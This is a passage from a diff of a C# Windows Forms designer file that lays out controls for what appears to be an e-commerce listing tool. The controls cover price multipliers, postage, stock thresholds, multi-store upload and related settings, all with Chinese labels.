((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label23.Location = new System.Drawing.Point(316, 38); + this.label23.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label23.Name = "label23"; + this.label23.Size = new System.Drawing.Size(80, 17); + this.label23.TabIndex = 471; + this.label23.Text = "七天无理由:"; + // + // txtProductBrand + // + this.txtProductBrand.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtProductBrand.Location = new System.Drawing.Point(452, 91); + this.txtProductBrand.Margin = new System.Windows.Forms.Padding(2); + this.txtProductBrand.Name = "txtProductBrand"; + this.txtProductBrand.Size = new System.Drawing.Size(271, 23); + this.txtProductBrand.TabIndex = 438; + this.txtProductBrand.TextChanged += new System.EventHandler(this.txtSetBrand_TextChanged); + // + // chkSaveToDraft + // + this.chkSaveToDraft.AutoSize = true; + this.chkSaveToDraft.FlatAppearance.BorderSize = 0; + this.chkSaveToDraft.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkSaveToDraft.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkSaveToDraft.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkSaveToDraft.Location = new System.Drawing.Point(563, 119); + this.chkSaveToDraft.Margin = new System.Windows.Forms.Padding(2); + this.chkSaveToDraft.Name = "chkSaveToDraft"; + this.chkSaveToDraft.Size = new System.Drawing.Size(84, 21); + this.chkSaveToDraft.TabIndex = 423; + this.chkSaveToDraft.Text = "存至草稿箱"; + this.chkSaveToDraft.UseVisualStyleBackColor = true; + // + // label15 + // + this.label15.AutoSize = true; + this.label15.BackColor = System.Drawing.Color.Transparent; + this.label15.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label15.Location = new System.Drawing.Point(316, 94); + this.label15.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(145, 17); + this.label15.TabIndex = 437; + this.label15.Text = "指定旗舰店/专营店品牌:"; + // + // flowLayoutPanel2 + // + this.flowLayoutPanel2.Controls.Add(this.labelX1); + this.flowLayoutPanel2.Controls.Add(this.txtMultiple); + this.flowLayoutPanel2.Controls.Add(this.lblFromTo); + this.flowLayoutPanel2.Controls.Add(this.txtMultiple2); + this.flowLayoutPanel2.Controls.Add(this.label3); + this.flowLayoutPanel2.Controls.Add(this.cmbPlusOrMinus); + this.flowLayoutPanel2.Controls.Add(this.txtPostage); + this.flowLayoutPanel2.Controls.Add(this.lblFromTo2); + this.flowLayoutPanel2.Controls.Add(this.cmbPlusOrMinus2); + this.flowLayoutPanel2.Controls.Add(this.txtPostage2); + this.flowLayoutPanel2.Controls.Add(this.label5); + this.flowLayoutPanel2.Location = new System.Drawing.Point(11, 5); + this.flowLayoutPanel2.Name = "flowLayoutPanel2"; + this.flowLayoutPanel2.Size = new System.Drawing.Size(302, 27); + this.flowLayoutPanel2.TabIndex = 183; + // + // labelX1 + // + this.labelX1.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.labelX1.AutoSize = true; + // + // + // + this.labelX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.labelX1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.labelX1.Location = new System.Drawing.Point(0, 3); + this.labelX1.Margin = new System.Windows.Forms.Padding(0, 0, 1, 0); + this.labelX1.Name = "labelX1"; + this.labelX1.PaddingRight = -10; + this.labelX1.Size = new System.Drawing.Size(46, 20); + this.labelX1.TabIndex = 440; + this.labelX1.Text = "原 价:"; + // + // txtMultiple + // + this.txtMultiple.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.txtMultiple.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtMultiple.Location = new System.Drawing.Point(47, 2); + this.txtMultiple.Margin = new System.Windows.Forms.Padding(0); + this.txtMultiple.Name = "txtMultiple"; + this.txtMultiple.Size = new System.Drawing.Size(32, 23); + this.txtMultiple.TabIndex = 361; + this.txtMultiple.Text = "1.08"; + this.txtMultiple.TextChanged += new System.EventHandler(this.txtMultiple_TextChanged); + // + // lblFromTo + // + this.lblFromTo.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblFromTo.AutoSize = true; + // + // + // + this.lblFromTo.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblFromTo.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblFromTo.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.lblFromTo.Location = new System.Drawing.Point(79, 3); + this.lblFromTo.Margin = new System.Windows.Forms.Padding(0); + this.lblFromTo.Name = "lblFromTo"; + this.lblFromTo.PaddingLeft = -2; + this.lblFromTo.PaddingRight = -3; + this.lblFromTo.Size = new System.Drawing.Size(11, 20); + this.lblFromTo.TabIndex = 446; + this.lblFromTo.Text = "~"; + this.lblFromTo.TextAlignment = System.Drawing.StringAlignment.Center; + // + // txtMultiple2 + // + this.txtMultiple2.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.txtMultiple2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtMultiple2.Location = new System.Drawing.Point(90, 2); + this.txtMultiple2.Margin = new System.Windows.Forms.Padding(0); + this.txtMultiple2.Name = "txtMultiple2"; + this.txtMultiple2.Size = new System.Drawing.Size(32, 23); + this.txtMultiple2.TabIndex = 441; + this.txtMultiple2.Text = "1.18"; + this.txtMultiple2.TextChanged += new System.EventHandler(this.txtMultiple2_TextChanged); + // + // label3 + // + this.label3.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.label3.AutoSize = true; + this.label3.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label3.Location = new System.Drawing.Point(122, 5); + this.label3.Margin = new System.Windows.Forms.Padding(0, 0, 2, 0); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(20, 17); + this.label3.TabIndex = 362; + this.label3.Text = "倍"; + this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // cmbPlusOrMinus + // + this.cmbPlusOrMinus.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.cmbPlusOrMinus.Font = new System.Drawing.Font("宋体", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cmbPlusOrMinus.FormattingEnabled = true; + this.cmbPlusOrMinus.Items.AddRange(new object[] { + "+", + "-"}); + this.cmbPlusOrMinus.Location = new System.Drawing.Point(144, 2); + this.cmbPlusOrMinus.Margin = new System.Windows.Forms.Padding(0); + this.cmbPlusOrMinus.Name = "cmbPlusOrMinus"; + this.cmbPlusOrMinus.Size = new System.Drawing.Size(32, 23); + this.cmbPlusOrMinus.TabIndex = 364; + this.cmbPlusOrMinus.Text = "+"; + this.cmbPlusOrMinus.SelectedIndexChanged += new System.EventHandler(this.txtPostage_TextChanged); + // + // txtPostage + // + this.txtPostage.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.txtPostage.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtPostage.Location = new System.Drawing.Point(178, 2); + this.txtPostage.Margin = new System.Windows.Forms.Padding(2, 2, 0, 2); + this.txtPostage.Name = "txtPostage"; + this.txtPostage.Size = new System.Drawing.Size(25, 23); + this.txtPostage.TabIndex = 363; + this.txtPostage.Text = "0"; + this.txtPostage.TextChanged += new System.EventHandler(this.txtPostage_TextChanged); + // + // lblFromTo2 + // + this.lblFromTo2.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblFromTo2.AutoSize = true; + // + // + // + this.lblFromTo2.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblFromTo2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblFromTo2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.lblFromTo2.Location = new System.Drawing.Point(203, 3); + this.lblFromTo2.Margin = new System.Windows.Forms.Padding(0); + this.lblFromTo2.Name = "lblFromTo2"; + this.lblFromTo2.PaddingLeft = -2; + this.lblFromTo2.PaddingRight = -3; + this.lblFromTo2.Size = new System.Drawing.Size(11, 20); + this.lblFromTo2.TabIndex = 447; + this.lblFromTo2.Text = "~"; + this.lblFromTo2.TextAlignment = System.Drawing.StringAlignment.Center; + // + // cmbPlusOrMinus2 + // + this.cmbPlusOrMinus2.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.cmbPlusOrMinus2.Font = new System.Drawing.Font("宋体", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cmbPlusOrMinus2.FormattingEnabled = true; + this.cmbPlusOrMinus2.Items.AddRange(new object[] { + "+", + "-"}); + this.cmbPlusOrMinus2.Location = new System.Drawing.Point(214, 2); + this.cmbPlusOrMinus2.Margin = new System.Windows.Forms.Padding(0); + this.cmbPlusOrMinus2.Name = "cmbPlusOrMinus2"; + this.cmbPlusOrMinus2.Size = new System.Drawing.Size(32, 23); + this.cmbPlusOrMinus2.TabIndex = 448; + this.cmbPlusOrMinus2.Text = "+"; + this.cmbPlusOrMinus2.SelectedIndexChanged += new System.EventHandler(this.txtPostage2_TextChanged); + // + // txtPostage2 + // + this.txtPostage2.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.txtPostage2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtPostage2.Location = new System.Drawing.Point(248, 2); + this.txtPostage2.Margin = new System.Windows.Forms.Padding(2, 2, 0, 2); + this.txtPostage2.Name = "txtPostage2"; + this.txtPostage2.Size = new System.Drawing.Size(25, 23); + this.txtPostage2.TabIndex = 444; + this.txtPostage2.Text = "10"; + this.txtPostage2.TextChanged += new System.EventHandler(this.txtPostage2_TextChanged); + // + // label5 + // + this.label5.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.label5.AutoSize = true; + this.label5.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label5.Location = new System.Drawing.Point(273, 5); + this.label5.Margin = new System.Windows.Forms.Padding(0); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(20, 17); + this.label5.TabIndex = 382; + this.label5.Text = "元"; + // + // chkRoundPrice + // + this.chkRoundPrice.AutoSize = true; + this.chkRoundPrice.FlatAppearance.BorderSize = 0; + this.chkRoundPrice.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkRoundPrice.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkRoundPrice.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkRoundPrice.Location = new System.Drawing.Point(657, 119); + this.chkRoundPrice.Margin = new System.Windows.Forms.Padding(8, 2, 2, 2); + this.chkRoundPrice.Name = "chkRoundPrice"; + this.chkRoundPrice.Size = new System.Drawing.Size(72, 21); + this.chkRoundPrice.TabIndex = 456; + this.chkRoundPrice.Text = "价格取整"; + this.chkRoundPrice.UseVisualStyleBackColor = true; + // + // chkMultiUpload + // + this.chkMultiUpload.AutoSize = true; + this.chkMultiUpload.FlatAppearance.BorderSize = 0; + this.chkMultiUpload.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkMultiUpload.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkMultiUpload.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkMultiUpload.Location = new System.Drawing.Point(320, 65); + this.chkMultiUpload.Margin = new System.Windows.Forms.Padding(2); + this.chkMultiUpload.Name = "chkMultiUpload"; + this.chkMultiUpload.Size = new System.Drawing.Size(72, 21); + this.chkMultiUpload.TabIndex = 432; + this.chkMultiUpload.Text = "多店上传"; + this.chkMultiUpload.UseVisualStyleBackColor = true; + this.chkMultiUpload.CheckedChanged += new System.EventHandler(this.chkMultiUpload_CheckedChanged); + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label14.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label14.Location = new System.Drawing.Point(122, 94); + this.label14.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(20, 17); + this.label14.TabIndex = 442; + this.label14.Text = "件"; + // + // txtPhone + // + this.txtPhone.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtPhone.Location = new System.Drawing.Point(375, 119); + this.txtPhone.Margin = new System.Windows.Forms.Padding(2); + this.txtPhone.Name = "txtPhone"; + this.txtPhone.Size = new System.Drawing.Size(172, 23); + this.txtPhone.TabIndex = 392; + this.txtPhone.Text = "18888888888"; + this.txtPhone.TextChanged += new System.EventHandler(this.txtPhone_TextChanged); + // + // lowPricePercenttextBox + // + this.lowPricePercenttextBox.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lowPricePercenttextBox.Location = new System.Drawing.Point(126, 119); + this.lowPricePercenttextBox.Margin = new System.Windows.Forms.Padding(2); + this.lowPricePercenttextBox.Name = "lowPricePercenttextBox"; + this.lowPricePercenttextBox.Size = new System.Drawing.Size(32, 23); + this.lowPricePercenttextBox.TabIndex = 409; + this.lowPricePercenttextBox.Text = "1.08"; + this.lowPricePercenttextBox.TextChanged += new System.EventHandler(this.lowPricePercenttextBox_TextChanged); + // + // txtStockLessThanCount + // + this.txtStockLessThanCount.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtStockLessThanCount.Location = new System.Drawing.Point(225, 63); + this.txtStockLessThanCount.Margin = new System.Windows.Forms.Padding(2); + this.txtStockLessThanCount.Name = "txtStockLessThanCount"; + this.txtStockLessThanCount.Size = new System.Drawing.Size(22, 23); + this.txtStockLessThanCount.TabIndex = 377; + this.txtStockLessThanCount.Text = "3"; + this.txtStockLessThanCount.TextChanged += new System.EventHandler(this.txtStockLessThanCount_TextChanged); + // + // txtSingleUpload + // + this.txtSingleUpload.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtSingleUpload.Location = new System.Drawing.Point(225, 35); + this.txtSingleUpload.Margin = new System.Windows.Forms.Padding(2); + this.txtSingleUpload.Name = "txtSingleUpload"; + this.txtSingleUpload.Size = new System.Drawing.Size(43, 23); + this.txtSingleUpload.TabIndex = 381; + this.txtSingleUpload.Text = "99999"; + this.txtSingleUpload.TextChanged += new System.EventHandler(this.txtSingleUpload_TextChanged); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label4.Location = new System.Drawing.Point(316, 122); + this.label4.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(68, 17); + this.label4.TabIndex = 391; + this.label4.Text = "客服电话:"; + // + // beforPricetextBox + // + this.beforPricetextBox.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.beforPricetextBox.Location = new System.Drawing.Point(58, 35); + this.beforPricetextBox.Margin = new System.Windows.Forms.Padding(2); + this.beforPricetextBox.Name = "beforPricetextBox"; + this.beforPricetextBox.Size = new System.Drawing.Size(32, 23); + this.beforPricetextBox.TabIndex = 372; + this.beforPricetextBox.Text = "2.0"; + this.beforPricetextBox.TextChanged += new System.EventHandler(this.beforPricetextBox_TextChanged); + // + // txtCustomStock + // + this.txtCustomStock.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtCustomStock.Location = new System.Drawing.Point(58, 63); + this.txtCustomStock.Margin = new System.Windows.Forms.Padding(2); + this.txtCustomStock.Name = "txtCustomStock"; + this.txtCustomStock.Size = new System.Drawing.Size(32, 23); + this.txtCustomStock.TabIndex = 428; + this.txtCustomStock.Text = "99"; + // + // txtMinSku + // + this.txtMinSku.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtMinSku.Location = new System.Drawing.Point(102, 91); + this.txtMinSku.Margin = new System.Windows.Forms.Padding(2); + this.txtMinSku.Name = "txtMinSku"; + this.txtMinSku.Size = new System.Drawing.Size(20, 23); + this.txtMinSku.TabIndex = 438; + this.txtMinSku.Text = "3"; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label11.Location = new System.Drawing.Point(11, 38); + this.label11.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(56, 17); + this.label11.TabIndex = 371; + this.label11.Text = "市场价:"; + // + // chkMinSku + // + this.chkMinSku.AutoSize = true; + this.chkMinSku.FlatAppearance.BorderSize = 0; + this.chkMinSku.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkMinSku.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkMinSku.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkMinSku.Location = new System.Drawing.Point(9, 92); + this.chkMinSku.Margin = new System.Windows.Forms.Padding(2); + this.chkMinSku.Name = "chkMinSku"; + this.chkMinSku.Size = new System.Drawing.Size(104, 21); + this.chkMinSku.TabIndex = 437; + this.chkMinSku.Text = "低价sku库存:"; + this.chkMinSku.UseVisualStyleBackColor = true; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label9.Location = new System.Drawing.Point(90, 38); + this.label9.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(20, 17); + this.label9.TabIndex = 373; + this.label9.Text = "倍"; + // + // chkRandomMainImage + // + this.chkRandomMainImage.AutoSize = true; + this.chkRandomMainImage.FlatAppearance.BorderSize = 0; + this.chkRandomMainImage.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkRandomMainImage.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkRandomMainImage.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkRandomMainImage.Location = new System.Drawing.Point(320, 8); + this.chkRandomMainImage.Margin = new System.Windows.Forms.Padding(2); + this.chkRandomMainImage.Name = "chkRandomMainImage"; + this.chkRandomMainImage.Size = new System.Drawing.Size(72, 21); + this.chkRandomMainImage.TabIndex = 433; + this.chkRandomMainImage.Text = "随机主图"; + this.chkRandomMainImage.UseVisualStyleBackColor = true; + this.chkRandomMainImage.CheckedChanged += new System.EventHandler(this.chkRandomMainImage_CheckedChanged); + // + // chkStockLessThan + // + this.chkStockLessThan.AutoSize = true; + this.chkStockLessThan.FlatAppearance.BorderSize = 0; + this.chkStockLessThan.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkStockLessThan.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkStockLessThan.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkStockLessThan.Location = new System.Drawing.Point(156, 64); + this.chkStockLessThan.Margin = new System.Windows.Forms.Padding(2); + this.chkStockLessThan.Name = "chkStockLessThan"; + this.chkStockLessThan.Size = new System.Drawing.Size(72, 21); + this.chkStockLessThan.TabIndex = 376; + this.chkStockLessThan.Text = "库存小于"; + this.chkStockLessThan.UseVisualStyleBackColor = true; + this.chkStockLessThan.CheckedChanged += new System.EventHandler(this.chkStockLessThan_CheckedChanged); + // + // label37 + // + this.label37.AutoSize = true; + this.label37.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label37.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label37.Location = new System.Drawing.Point(247, 66); + this.label37.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label37.Name = "label37"; + this.label37.Size = new System.Drawing.Size(44, 17); + this.label37.TabIndex = 378; + this.label37.Text = "不上传"; + // + // label26 + // + this.label26.AutoSize = true; + this.label26.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label26.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label26.Location = new System.Drawing.Point(152, 38); + this.label26.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label26.Name = "label26"; + this.label26.Size = new System.Drawing.Size(80, 17); + this.label26.TabIndex = 380; + this.label26.Text = "单店上货数:"; + // + // label18 + // + this.label18.AutoSize = true; + this.label18.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label18.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label18.Location = new System.Drawing.Point(90, 66); + this.label18.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label18.Name = "label18"; + this.label18.Size = new System.Drawing.Size(20, 17); + this.label18.TabIndex = 429; + this.label18.Text = "件"; + // + // chkCustomStock + // + this.chkCustomStock.AutoSize = true; + this.chkCustomStock.FlatAppearance.BorderSize = 0; + this.chkCustomStock.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkCustomStock.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkCustomStock.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkCustomStock.Location = new System.Drawing.Point(9, 64); + this.chkCustomStock.Margin = new System.Windows.Forms.Padding(2); + this.chkCustomStock.Name = "chkCustomStock"; + this.chkCustomStock.Size = new System.Drawing.Size(60, 21); + this.chkCustomStock.TabIndex = 430; + this.chkCustomStock.Text = "库存:"; + this.chkCustomStock.UseVisualStyleBackColor = true; + // + // comboBox5 + // + this.comboBox5.Font = new System.Drawing.Font("宋体", 11.25F); + this.comboBox5.FormattingEnabled = true; + this.comboBox5.Items.AddRange(new object[] { + "+", + "-"}); + this.comboBox5.Location = new System.Drawing.Point(179, 119); + this.comboBox5.Margin = new System.Windows.Forms.Padding(2); + this.comboBox5.Name = "comboBox5"; + this.comboBox5.Size = new System.Drawing.Size(32, 23); + this.comboBox5.TabIndex = 424; + this.comboBox5.Text = "+"; + // + // lowPricecheckBox + // + this.lowPricecheckBox.AutoSize = true; + this.lowPricecheckBox.FlatAppearance.BorderSize = 0; + this.lowPricecheckBox.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.lowPricecheckBox.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lowPricecheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.lowPricecheckBox.Location = new System.Drawing.Point(9, 120); + this.lowPricecheckBox.Margin = new System.Windows.Forms.Padding(2); + this.lowPricecheckBox.Name = "lowPricecheckBox"; + this.lowPricecheckBox.Size = new System.Drawing.Size(128, 21); + this.lowPricecheckBox.TabIndex = 408; + this.lowPricecheckBox.Text = "低价sku单独加价:"; + this.lowPricecheckBox.UseVisualStyleBackColor = true; + this.lowPricecheckBox.CheckedChanged += new System.EventHandler(this.lowPricecheckBox_CheckedChanged); + // + // lowPriceAddtextBox + // + this.lowPriceAddtextBox.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lowPriceAddtextBox.Location = new System.Drawing.Point(213, 119); + this.lowPriceAddtextBox.Margin = new System.Windows.Forms.Padding(2); + this.lowPriceAddtextBox.Name = "lowPriceAddtextBox"; + this.lowPriceAddtextBox.Size = new System.Drawing.Size(22, 23); + this.lowPriceAddtextBox.TabIndex = 411; + this.lowPriceAddtextBox.Text = "0"; + this.lowPriceAddtextBox.TextChanged += new System.EventHandler(this.lowPriceAddtextBox_TextChanged); + // + // label32 + // + this.label32.AutoSize = true; + this.label32.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label32.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label32.Location = new System.Drawing.Point(235, 122); + this.label32.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label32.Name = "label32"; + this.label32.Size = new System.Drawing.Size(20, 17); + this.label32.TabIndex = 412; + this.label32.Text = "元"; + // + // label34 + // + this.label34.AutoSize = true; + this.label34.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label34.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label34.Location = new System.Drawing.Point(158, 122); + this.label34.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label34.Name = "label34"; + this.label34.Size = new System.Drawing.Size(20, 17); + this.label34.TabIndex = 410; + this.label34.Text = "倍"; + // + // label24 + // + this.label24.AutoSize = true; + this.label24.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label24.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.label24.Location = new System.Drawing.Point(503, 10); + this.label24.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label24.Name = "label24"; + this.label24.Size = new System.Drawing.Size(44, 17); + this.label24.TabIndex = 474; + this.label24.Text = "张主图"; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.label2); + this.tabPage2.Controls.Add(this.endDateTimePicker); + this.tabPage2.Controls.Add(this.chkFuzzyMatching); + this.tabPage2.Controls.Add(this.cmbNewPreTime); + this.tabPage2.Controls.Add(this.cmbSendDayAfterPre); + 